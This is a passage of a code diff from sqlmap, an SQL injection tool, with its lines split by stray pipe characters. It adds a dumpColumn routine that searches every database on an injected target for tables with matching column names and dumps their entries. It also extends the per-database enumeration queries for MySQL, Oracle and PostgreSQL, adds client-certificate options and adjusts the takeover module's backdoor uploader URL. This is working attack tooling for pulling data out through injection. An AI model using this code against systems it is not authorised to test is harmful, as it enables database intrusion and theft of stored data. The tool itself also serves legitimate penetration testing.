||||
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
query = rootQuery["blind"]["query"] % (db, index)
|
||||
@@ -785,31 +804,46 @@ class Enumeration:
|
||||
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
infoMsg = "fetching columns "
|
||||
rootQuery = queries[kb.dbms].columns
|
||||
|
||||
infoMsg = "fetching columns "
|
||||
|
||||
if conf.col:
|
||||
if kb.dbms == "Oracle":
|
||||
conf.col = conf.col.upper()
|
||||
colList = conf.col.split(",")
|
||||
condition = rootQuery["blind"]["condition"]
|
||||
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
||||
infoMsg += "like '%s' " % ", ".join(col for col in colList)
|
||||
else:
|
||||
condQuery = ""
|
||||
|
||||
infoMsg += "for table '%s' " % conf.tbl
|
||||
infoMsg += "on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].columns
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||
elif kb.dbms == "Oracle":
|
||||
query = rootQuery["inband"]["query"] % conf.tbl.upper()
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
# TODO: adjust with condQuery
|
||||
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
|
||||
conf.db, conf.db,
|
||||
conf.db, conf.db,
|
||||
conf.db, conf.tbl)
|
||||
|
||||
query += condQuery
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
if value:
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
for column, colType in value:
|
||||
columns[column] = colType
|
||||
|
||||
table[conf.tbl] = columns
|
||||
kb.data.cachedColumns[conf.db] = table
|
||||
|
||||
@@ -824,8 +858,10 @@ class Enumeration:
|
||||
elif kb.dbms == "Oracle":
|
||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
# TODO: adjust with condQuery
|
||||
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
|
||||
|
||||
query += condQuery
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
@@ -834,24 +870,27 @@ class Enumeration:
|
||||
errMsg += "on database '%s'" % conf.db
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
|
||||
table = {}
|
||||
columns = {}
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
|
||||
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
|
||||
elif kb.dbms == "Oracle":
|
||||
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
|
||||
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
# TODO: adjust with condQuery
|
||||
query = rootQuery["blind"]["query"] % (index, conf.db,
|
||||
conf.db, conf.tbl)
|
||||
|
||||
query += condQuery
|
||||
query = agent.limitQuery(index, query)
|
||||
column = inject.getValue(query, inband=False)
|
||||
|
||||
if not onlyColNames:
|
||||
@@ -881,11 +920,275 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def dumpTable(self):
|
||||
if not conf.tbl:
|
||||
errMsg = "missing table parameter"
|
||||
def dumpColumn(self):
|
||||
# TODO: adjust for MSSQL
|
||||
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
if not conf.col:
|
||||
errMsg = "missing column parameter"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
rootQuery = queries[kb.dbms].dumpColumn
|
||||
foundCols = {}
|
||||
dbs = {}
|
||||
colList = conf.col.split(",")
|
||||
colCond = rootQuery["inband"]["condition"]
|
||||
dbCond = rootQuery["inband"]["condition2"]
|
||||
|
||||
message = "do you want sqlmap to consider provided column(s):\n"
|
||||
message += "[1] as LIKE column names (default)\n"
|
||||
message += "[2] as exact column names"
|
||||
colConsider = readInput(message, default="1")
|
||||
|
||||
if not colConsider or colConsider.isdigit() and colConsider == "1":
|
||||
colConsider = "1"
|
||||
colCondParam = " LIKE '%%%s%%'"
|
||||
elif colConsider.isdigit() and colConsider == "2":
|
||||
colCondParam = "='%s'"
|
||||
else:
|
||||
errMsg = "invalid value"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
|
||||
for column in colList:
|
||||
if kb.dbms == "Oracle":
|
||||
column = column.upper()
|
||||
conf.db = "USERS"
|
||||
|
||||
foundCols[column] = {}
|
||||
|
||||
if conf.db:
|
||||
for db in conf.db.split(","):
|
||||
dbs[db] = {}
|
||||
foundCols[column][db] = []
|
||||
|
||||
continue
|
||||
|
||||
infoMsg = "fetching databases with tables containing column"
|
||||
if colConsider == "1":
|
||||
infoMsg += "s like"
|
||||
infoMsg += " '%s'" % column
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.excludeSysDbs and kb.dbms != "Oracle":
|
||||
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
||||
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
dbsQuery = ""
|
||||
|
||||
colQuery = "%s%s" % (colCond, colCondParam)
|
||||
colQuery = colQuery % column
|
||||
|
||||
if kb.unionPosition:
|
||||
query = rootQuery["inband"]["query"]
|
||||
query += colQuery
|
||||
query += dbsQuery
|
||||
values = inject.getValue(query, blind=False)
|
||||
|
||||
if values:
|
||||
if isinstance(values, str):
|
||||
values = [ values ]
|
||||
|
||||
for value in values:
|
||||
dbs[value] = {}
|
||||
foundCols[column][value] = []
|
||||
else:
|
||||
infoMsg = "fetching number of databases with tables containing column"
|
||||
if colConsider == "1":
|
||||
infoMsg += "s like"
|
||||
infoMsg += " '%s'" % column
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = rootQuery["blind"]["count"]
|
||||
query += colQuery
|
||||
query += dbsQuery
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "no databases have tables containing column"
|
||||
if colConsider == "1":
|
||||
warnMsg += "s like"
|
||||
warnMsg += " '%s'" % column
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
query = rootQuery["blind"]["query"]
|
||||
query += colQuery
|
||||
query += dbsQuery
|
||||
query = agent.limitQuery(index, query)
|
||||
db = inject.getValue(query, inband=False)
|
||||
dbs[db] = {}
|
||||
foundCols[column][db] = []
|
||||
|
||||
for column, dbData in foundCols.items():
|
||||
colQuery = "%s%s" % (colCond, colCondParam)
|
||||
colQuery = colQuery % column
|
||||
|
||||
for db in dbData:
|
||||
infoMsg = "fetching tables containing column"
|
||||
if colConsider == "1":
|
||||
infoMsg += "s like"
|
||||
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.unionPosition:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
if kb.dbms == "Oracle":
|
||||
query += " WHERE %s" % colQuery
|
||||
else:
|
||||
query = query % db
|
||||
query += " AND %s" % colQuery
|
||||
values = inject.getValue(query, blind=False)
|
||||
|
||||
if values:
|
||||
if isinstance(values, str):
|
||||
values = [ values ]
|
||||
|
||||
for value in values:
|
||||
if value not in dbs[db]:
|
||||
dbs[db][value] = {}
|
||||
|
||||
dbs[db][value][column] = None
|
||||
foundCols[column][db].append(value)
|
||||
else:
|
||||
infoMsg = "fetching number of tables containing column"
|
||||
if colConsider == "1":
|
||||
infoMsg += "s like"
|
||||
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = rootQuery["blind"]["count2"]
|
||||
if kb.dbms == "Oracle":
|
||||
query += " WHERE %s" % colQuery
|
||||
else:
|
||||
query = query % db
|
||||
query += " AND %s" % colQuery
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "no tables contain column"
|
||||
if colConsider == "1":
|
||||
warnMsg += "s like"
|
||||
warnMsg += " '%s'" % column
|
||||
warnMsg += "in database '%s'" % db
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
query = rootQuery["blind"]["query2"]
|
||||
if kb.dbms == "Oracle":
|
||||
query += " WHERE %s" % colQuery
|
||||
else:
|
||||
query = query % db
|
||||
query += " AND %s" % colQuery
|
||||
query = agent.limitQuery(index, query)
|
||||
tbl = inject.getValue(query, inband=False)
|
||||
|
||||
if tbl not in dbs[db]:
|
||||
dbs[db][tbl] = {}
|
||||
|
||||
dbs[db][tbl][column] = None
|
||||
foundCols[column][db].append(tbl)
|
||||
|
||||
if colConsider == "1":
|
||||
okDbs = {}
|
||||
|
||||
for db, tableData in dbs.items():
|
||||
conf.db = db
|
||||
okDbs[db] = {}
|
||||
|
||||
for tbl, columns in tableData.items():
|
||||
conf.tbl = tbl
|
||||
|
||||
for column in columns:
|
||||
conf.col = column
|
||||
|
||||
self.getColumns(onlyColNames=True)
|
||||
|
||||
if tbl in okDbs[db]:
|
||||
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
|
||||
else:
|
||||
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
|
||||
|
||||
kb.data.cachedColumns = {}
|
||||
|
||||
dbs = okDbs
|
||||
|
||||
if not dbs:
|
||||
warnMsg = "no databases have tables containing any of the "
|
||||
warnMsg += "provided columns"
|
||||
logger.warn(warnMsg)
|
||||
return
|
||||
|
||||
dumper.dbColumns(foundCols, colConsider, dbs)
|
||||
|
||||
message = "do you want to dump entries? [Y/n] "
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if output not in ("y", "Y"):
|
||||
return
|
||||
|
||||
dumpFromDbs = []
|
||||
message = "which database?\n[a]ll (default)\n"
|
||||
|
||||
for db in dbs:
|
||||
message += "[%s]\n" % db
|
||||
|
||||
message += "[q]uit"
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not test or test[0] in ("a", "A"):
|
||||
dumpFromDbs = dbs.keys()
|
||||
|
||||
elif test[0] in ("q", "Q"):
|
||||
return
|
||||
|
||||
else:
|
||||
dumpFromDbs = test.replace(" ", "").split(",")
|
||||
|
||||
for db, tblData in dbs.items():
|
||||
if db not in dumpFromDbs:
|
||||
continue
|
||||
|
||||
conf.db = db
|
||||
|
||||
for table, columns in tblData.items():
|
||||
conf.tbl = table
|
||||
conf.col = ",".join(column for column in columns)
|
||||
kb.data.cachedColumns = {}
|
||||
kb.data.dumpedTable = {}
|
||||
|
||||
data = self.dumpTable()
|
||||
|
||||
if data:
|
||||
dumper.dbTableValues(data)
|
||||
|
||||
def dumpTable(self):
|
||||
if not conf.tbl and not conf.col:
|
||||
errMsg = "missing both table and column parameters, please "
|
||||
errMsg += "provide at least one of them"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
if conf.col and not conf.tbl:
|
||||
self.dumpColumn()
|
||||
return
|
||||
|
||||
if "." in conf.tbl:
|
||||
conf.db, conf.tbl = conf.tbl.split(".")
|
||||
|
||||
@@ -926,6 +1229,8 @@ class Enumeration:
|
||||
infoMsg += " on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
entriesCount = 0
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.dbms == "Oracle":
|
||||
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
||||
@@ -934,6 +1239,9 @@ class Enumeration:
|
||||
entries = inject.getValue(query, blind=False)
|
||||
|
||||
if entries:
|
||||
if isinstance(entries, str):
|
||||
entries = [ entries ]
|
||||
|
||||
entriesCount = len(entries)
|
||||
index = 0
|
||||
|
||||
@@ -974,17 +1282,15 @@ class Enumeration:
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the number of "
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
if conf.col:
|
||||
errMsg += "columns '%s' " % colString
|
||||
errMsg += "entries for table '%s' " % conf.tbl
|
||||
errMsg += "on database '%s'" % conf.db
|
||||
warnMsg += "columns '%s' " % colString
|
||||
warnMsg += "entries for table '%s' " % conf.tbl
|
||||
warnMsg += "on database '%s'" % conf.db
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
lengths = {}
|
||||
entries = {}
|
||||
@@ -1036,17 +1342,15 @@ class Enumeration:
|
||||
"db": conf.db
|
||||
}
|
||||
else:
|
||||
errMsg = "unable to retrieve the entries of "
|
||||
warnMsg = "unable to retrieve the entries of "
|
||||
if conf.col:
|
||||
errMsg += "columns '%s' " % colString
|
||||
errMsg += "for table '%s' " % conf.tbl
|
||||
errMsg += "on database '%s'" % conf.db
|
||||
warnMsg += "columns '%s' " % colString
|
||||
warnMsg += "for table '%s' " % conf.tbl
|
||||
warnMsg += "on database '%s'" % conf.db
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
return kb.data.dumpedTable
|
||||
|
||||
@@ -1076,8 +1380,8 @@ class Enumeration:
|
||||
dumper.dbTableValues(data)
|
||||
|
||||
def sqlQuery(self, query):
|
||||
output = None
|
||||
sqlType = None
|
||||
output = None
|
||||
sqlType = None
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
for sqlStatement in sqlStatements:
|
||||
|
||||
@@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
|
||||
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
|
||||
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in uplPage:
|
||||
|
||||
@@ -65,6 +65,11 @@ aType =
|
||||
# Syntax: username:password
|
||||
aCred =
|
||||
|
||||
# HTTPs Authentication certificate. Useful only if the target url requires
|
||||
# logon certificate and you have such data.
|
||||
# Syntax: key_file,cert_file
|
||||
aCert =
|
||||
|
||||
# Use a HTTP proxy to connect to the target url.
|
||||
# Syntax: http://address:port
|
||||
proxy =
|
||||
|
||||
@@ -51,9 +51,13 @@
|
||||
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
||||
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
||||
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_column>
|
||||
<inband query="SELECT table_schema FROM information_schema.COLUMNS WHERE " query2="SELECT table_name FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
|
||||
</dump_column>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
@@ -102,9 +106,13 @@
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_column>
|
||||
<inband query="" query2="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
|
||||
<blind query="" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS" count="" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
|
||||
</dump_column>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
@@ -161,9 +169,13 @@
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
||||
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
||||
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_column>
|
||||
<inband query="SELECT nspname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
|
||||
</dump_column>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
@@ -214,6 +226,7 @@
|
||||
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||
</columns>
|
||||
<dump_column/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s..%s"/>
|
||||
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
|
||||
|
||||
Reference in New Issue
Block a user